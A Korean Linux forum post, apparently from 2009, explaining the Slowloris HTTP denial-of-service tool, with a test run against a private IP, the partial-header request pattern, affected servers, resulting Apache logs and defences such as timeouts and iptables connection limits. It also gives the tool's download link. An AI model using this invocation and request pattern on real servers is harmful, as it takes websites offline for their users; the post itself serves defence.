질문&답변
클라우드/리눅스에 관한 질문과 답변을 주고 받는 곳입니다.
리눅스 분류

Slowloris 라는 HTTP dos 툴에 대해...

작성자 정보

  • 홍석범 작성
  • 작성일

컨텐츠 정보

본문

안녕하십니까?  씨디네트웍스 홍석범입니다.

최근에 Slowloris 라는 HTTP dos 툴이 공개되어 아래와 같이 내용을 공유합니다.

순서는 아래와 같습니다.

-. 공격의 특징 및 원리
-. 실제 공격 테스트
-. 공격에 취약/취약하지 않은 서버
-. 공격시 로그 분석
-. 대응방법
-. 참고 URL

========================================================================

이 툴은 많은 HTTP Connection 을 연결하여 MaxClient에 도달하게 함으로써
HTTP 서비스가 중단되도록 하는 형태의 공격입니다.

사실 이러한 형태의 공격과 툴은 이전부터 많이 있어 왔지만
이번에 공개된 툴은 약간 다른 특징이 있습니다.

즉, 마치 tcp synflooding 공격과 유사하게
일단 정상적인 GET 접속 요청을 한 후 마지막에 하나의 CRLF을 하지 않아
서버에서 대기를 하게 한 후 timeout 에 도달하게 하거나 또는
무의미한 헤더를 지속적으로 전송하게 됩니다.

그러나, 이 공격은 아직 마지막의 CRLF 를 입력하지 않았기 때문에 서버는
이미 MaxClient에 도달하여 서비스가 중단되어도 아무런 로그가 남지 않습니다.
(웹서버의 로그는 공격을 멈추면 남게 됩니다.)

이런 식으로 결국 서버의 http 프로세스가 가득 차게 되어
서비스거부형태로 돌입하게 됩니다.

===============================================================================

아래는 실제 공격코드를 실행시의 화면입니다.


# ./slowloris.pl -dns 192.168.135.163

CCCCCCCCCCOOCCOOOOO888@8@8888OOOOCCOOO888888888@@@@@@@@@8@8@@@@888OOCooocccc::::
CCCCCCCCCCCCCCCOO888@888888OOOCCCOOOO888888888888@88888@@@@@@@888@8OOCCoococc:::
CCCCCCCCCCCCCCOO88@@888888OOOOOOOOOO8888888O88888888O8O8OOO8888@88@@8OOCOOOCoc::
CCCCooooooCCCO88@@8@88@888OOOOOOO88888888888OOOOOOOOOOCCCCCOOOO888@8888OOOCc::::
CooCoCoooCCCO8@88@8888888OOO888888888888888888OOOOCCCooooooooCCOOO8888888Cocooc:
ooooooCoCCC88@88888@888OO8888888888888888O8O8888OOCCCooooccccccCOOOO88@888OCoccc
ooooCCOO8O888888888@88O8OO88888OO888O8888OOOO88888OCocoococ::ccooCOO8O888888Cooo
oCCCCCCO8OOOCCCOO88@88OOOOOO8888O888OOOOOCOO88888O8OOOCooCocc:::coCOOO888888OOCC
oCCCCCOOO88OCooCO88@8OOOOOO88O888888OOCCCCoCOOO8888OOOOOOOCoc::::coCOOOO888O88OC
oCCCCOO88OOCCCCOO8@@8OOCOOOOO8888888OoocccccoCO8O8OO88OOOOOCc.:ccooCCOOOO88888OO
CCCOOOO88OOCCOOO8@888OOCCoooCOO8888Ooc::...::coOO88888O888OOo:cocooCCCCOOOOOO88O
CCCOO88888OOCOO8@@888OCcc:::cCOO888Oc..... ....cCOOOOOOOOOOOc.:cooooCCCOOOOOOOOO
OOOOOO88888OOOO8@8@8Ooc:.:...cOO8O88c.      .  .coOOO888OOOOCoooooccoCOOOOOCOOOO
OOOOO888@8@88888888Oo:. .  ...cO888Oc..          :oOOOOOOOOOCCoocooCoCoCOOOOOOOO
COOO888@88888888888Oo:.       .O8888C:  .oCOo.  ...cCCCOOOoooooocccooooooooCCCOO
CCCCOO888888O888888Oo. .o8Oo. .cO88Oo:       :. .:..ccoCCCooCooccooccccoooooCCCC
coooCCO8@88OO8O888Oo:::... ..  :cO8Oc. . .....  :.  .:ccCoooooccoooocccccooooCCC
:ccooooCO888OOOO8OOc..:...::. .co8@8Coc::..  ....  ..:cooCooooccccc::::ccooCCooC
.:::coocccoO8OOOOOOC:..::....coCO8@8OOCCOc:...  ....:ccoooocccc:::::::::cooooooC
....::::ccccoCCOOOOOCc......:oCO8@8@88OCCCoccccc::c::.:oCcc:::cccc:..::::coooooo
.......::::::::cCCCCCCoocc:cO888@8888OOOOCOOOCoocc::.:cocc::cc:::...:::coocccccc
...........:::..:coCCCCCCCO88OOOO8OOOCCooCCCooccc::::ccc::::::.......:ccocccc:co
.............::....:oCCoooooCOOCCOCCCoccococc:::::coc::::....... ...:::cccc:cooo
 ..... ............. .coocoooCCoco:::ccccccc:::ccc::..........  ....:::cc::::coC
  .  . ...    .... ..  .:cccoCooc:..  ::cccc:::c:.. ......... ......::::c:cccco
 .  .. ... ..    .. ..   ..:...:cooc::cccccc:.....  .........  .....:::::ccoocc
      .   .         .. ..::cccc:.::ccoocc:. ........... ..  . ..:::.:::::::ccco


 Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client

Defaulting to port 80.
Defaulting to a 5 second tcp connection timeout.
Defaulting to a 100 second re-try timeout.
Defaulting to 1000 connections.
Multithreading enabled.
Connecting to 192.168.135.163:80 every 100 seconds with 1000 sockets:
               Building sockets.
               Building sockets.
               Building sockets.
               Building sockets.
               Sending data.
...............................


위의 공격코드는 아래와 같이 실행하게 됩니다.

=====================================================================

GET / HTTP/1.1
Host: host
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;
Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR
3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)
Content-Length: 42

 

X-a: b
X-a: b
X-a: b
........
========================================================================


이때 apache 서버에서는 1분 이내에 MaxClient에 도달하게 됩니다.

# ps aux|grep http|wc -l
1026


공격에 취약한 서버 :
 Apache 1.x, 2.x, squid...

공격에 취약하지 않은 서버:
 lighttpd, IIS6.0, IIS7.0, nginx, varnishd, J5K.


본 공격에 취약하지 않은 cache(reverse proxy)서버는 이때의 공격 패킷을 408 에러("Request timeout")
로 처리하며 서비스에 영향은 없습니다.

apache의 경우 실제 공격시에는 로그가 남지 않지만 공격을 멈추면 아래와 같은
로그가 남게 됩니다.

# error_log
[Sun Jun 21 18:37:44 2009] [error] server reached MaxClients setting,
consider raising the MaxClients setting
[Sun Jun 21 20:22:59 2009] [error] [client 192.168.62.20] request
failed: error reading the headers
[Sun Jun 21 20:22:59 2009] [error] [client 192.168.62.20] request
failed: error reading the headers
[Sun Jun 21 20:22:59 2009] [error] [client 192.168.62.20] request
failed: error reading the headers
[Sun Jun 21 20:22:59 2009] [error] [client 192.168.62.20] request
failed: error reading the headers
[Sun Jun 21 20:22:59 2009] [error] [client 192.168.62.20] request
failed: error reading the headers


# access_log
192.168.62.20 - - [21/Jun/2009:18:35:36 +0900] "GET / HTTP/1.1" 400 308
192.168.62.20 - - [21/Jun/2009:18:35:36 +0900] "GET / HTTP/1.1" 400 308
192.168.62.20 - - [21/Jun/2009:18:35:36 +0900] "GET / HTTP/1.1" 400 308
192.168.62.20 - - [21/Jun/2009:18:35:36 +0900] "GET / HTTP/1.1" 400 308
192.168.62.20 - - [21/Jun/2009:18:35:36 +0900] "GET / HTTP/1.1" 400 308
192.168.62.20 - - [21/Jun/2009:18:35:36 +0900] "GET / HTTP/1.1" 400 308
192.168.62.20 - - [21/Jun/2009:18:35:36 +0900] "GET / HTTP/1.1" 400 308


대응방법 :

이 공격이 apache만을 목표로 하며 실제 공격 사례등이 아직 공유되지 않아 당장은
큰 영향은 없을 것으로 보입니다만, 만약의 공격시 아래와 같이 대응할 수 있습니다.

-.  Timeout 설정 변경(가장 현실적인 방법)
    httpd.conf 에서  Timeout 300  ==> 5 이하로 변경후 httpd reload
    5초동안 연속된 패킷이 오지 않을 경우 timeout으로 종료하게 됩니다.
    이 설정을 변경해도 서비스에 영향은 없습니다.

-.  apache 앞단에 varnishd 등 캐시 서비스로 대체 (단, squid도 취약함)

-.  netstat -na | grep ESTABLISHED 실행시 많은 연결이 보이는 IP에 대해 iptables로 차단
   => 공격이 진행시 로그는 남지 않아도 netstat 으로는 보이며 공격IP는
        위조될 수 없습니다.

-. iptables의 connlimit(커넥션 제한) 설정
  # iptables -A INPUT -p tcp --dport 80 -m connlimit
--connlimit-above 30 -j DROP

-. 기타 mod_dosevasive등 모듈로 차단(비권장)

-. 곧 apache에서 패치를 내놓을 것으로 기대합니다.


관련 URL :

http://ha.ckers.org/slowloris/
http://isc.sans.org/diary.html?storyid=6622
공격코드 : http://ha.ckers.org/slowloris/slowloris.pl

 

감사합니다.

관련자료

댓글 0
등록된 댓글이 없습니다.

공지사항


뉴스광장


  • 현재 회원수 :  60,037 명
  • 현재 강좌수 :  35,806 개
  • 현재 접속자 :  95 명